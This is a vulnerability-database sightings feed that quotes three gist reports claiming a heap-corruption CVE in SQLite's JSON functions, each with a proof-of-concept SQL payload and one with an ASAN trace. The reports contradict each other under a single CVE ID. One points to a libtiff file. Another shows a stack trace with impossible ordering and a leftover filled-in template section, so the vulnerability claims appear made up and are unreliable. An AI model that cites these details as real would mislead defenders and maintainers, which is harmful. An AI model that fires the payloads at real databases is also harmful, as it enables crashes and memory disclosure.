https://vulnerability.circl.lu/sightings/feed 2026-08-01T05:58:29.006300+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/7cebcdd0-45c9-4516-b6c8-5c9a690773d1/export 2026-08-01T05:58:29.025824+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "7cebcdd0-45c9-4516-b6c8-5c9a690773d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/6893387ade9aa30ad772294830259519", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51229\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51229\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON path compile resolution logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized JSON path token payload processed by json_extract, json_set and JSON path resolution functions triggers heap deallocation for a path resolver working buffer pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied path token length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathCompileResolve() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path string invokes the vulnerable jsonPathCompileResolve() function defined in src/json.c.\nSource file src/json.c Line 3621 executes sqlite3_free(pPathCtx->pCompileBuf); to release heap memory allocated for compiled JSON path token storage.\nThe pPathCtx->pCompileBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path token length values bypass all pre-write capacity boundary validation checks for the compiled path buffer copy operation.\nSource file src/json.c Line 3667 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed compile buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3703 performs direct memory structure lookup using the unmodified dangling pPathCtx->pCompileBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path parsing, extraction and modification functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON path utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3621(memory free), Line 3703(dangling pointer access), Line 3667(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==19124==ERROR: AddressSanitizer: heap-use-after-free on address 0x61400000c350 at pc 0x566997164151 bp 0x7fff8c9e68f0 sp 0x7fff8c9e68e0\nREAD of size 16 at 0x61400000c350 thread T0\n #0 0x566997164150 in jsonPathCompileResolve src/json.c:3703\n #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n #3 0x56699686d400 in sqlite3Step src/vdbeapi.c:530\n #4 0x56699686db90 in sqlite3_prepare_v2 src/sqlite3.c:89185\n #5 0x566996780cd0 in main shell.c:1415\n #6 0x7fc4c21bb0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x56699677c780 in _start (sqlite3:0x56699677c780)\n\nAddress 0x61400000c350 is located 128 bytes inside of 23296-byte free block 0x61400000c290-0x614000011d10\nFreed by thread T0 here:\n #0 0x7fc4c59cbeb0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810eb)\n #1 0x566997163680 in jsonPathCompileResolve src/json.c:3621\n #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #3 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n\nPreviously allocated by thread T0 here:\n #0 0x7fc4c59b0eb0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805eb)\n #1 0x566997162e60 in jsonPathCompileResolve src/json.c:3564\n #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n\n==19124==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000c350 at pc 0x566997163f61 bp 0x7fff8c9e6910 sp 0x7fff8c9e6900\nWRITE of size 23296 at 0x61400000c350 thread T0\n #0 0x566997163f60 in jsonPathCompileResolve src/json.c:3667\n #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_extract to perform JSON value extraction with a dynamically constructed oversized JSON path literal generated via printf('%.*c',0x6100,'A') to create malicious long path tokens for JSON path compilation resolution parsing.\nSQLite forwards the untrusted path compilation request to the jsonPathCompileResolve() function within src/json.c, which initializes a path resolution context and allocates the pPathCtx->pCompileBuf heap buffer dedicated to storing compiled JSON path token metadata.\nDuring intermediate path parsing cleanup logic at Line 3621, the compiled path buffer is released via sqlite3_free(), while the pPathCtx->pCompileBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized path token payload into the buffer at Line 3667; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated compile buffer heap region (CWE-787).\nProgram execution proceeds to Line 3703 and directly dereferences the stale dangling pPathCtx->pCompileBuf pointer to read compiled path structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path compile resolution execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-28\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\u8fd0\u884c\n// Line 3621: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pPathCtx->pCompileBuf);\n\n// Line 3667: Unchecked out-of-bounds memory write utilizing attacker-controlled JSON path token length\nmemcpy(pPathCtx->pCompileBuf + pathOffset, zPathData, pathDataLen);\n\n// Line 3703: Illegal dangling pointer dereference triggering Use After Free vulnerability\npathTokenType = pPathCtx->pCompileBuf[pathIdx].tokenKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51229\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3621\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3703\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3667\n\u3010Target Function Name\u3011: jsonPathCompileResolve\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path token payload triggers early compiled path buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path compilation resolution finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-28\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:22:25.776782Z"} 2026-08-01T04:22:25.776782+00:00 https://vulnerability.circl.lu/sighting/4f187228-befe-461a-8859-a52758e3bdfb/export 2026-08-01T05:58:29.028152+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "4f187228-befe-461a-8859-a52758e3bdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/8306193823c86e7ccb208f92d45c9f70", "content": "vulnerable code link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T13:31:30.926939Z"} 2026-07-29T13:31:30.926939+00:00 https://vulnerability.circl.lu/sighting/ef7bfca1-9e2f-427b-860b-04e41a159c4e/export 2026-08-01T05:58:29.028306+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "ef7bfca1-9e2f-427b-860b-04e41a159c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/db69b2d17dbceebf7d3935fc76f247e6", "content": "CVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T02:49:49.579388Z"} 2026-07-29T02:49:49.579388+00:00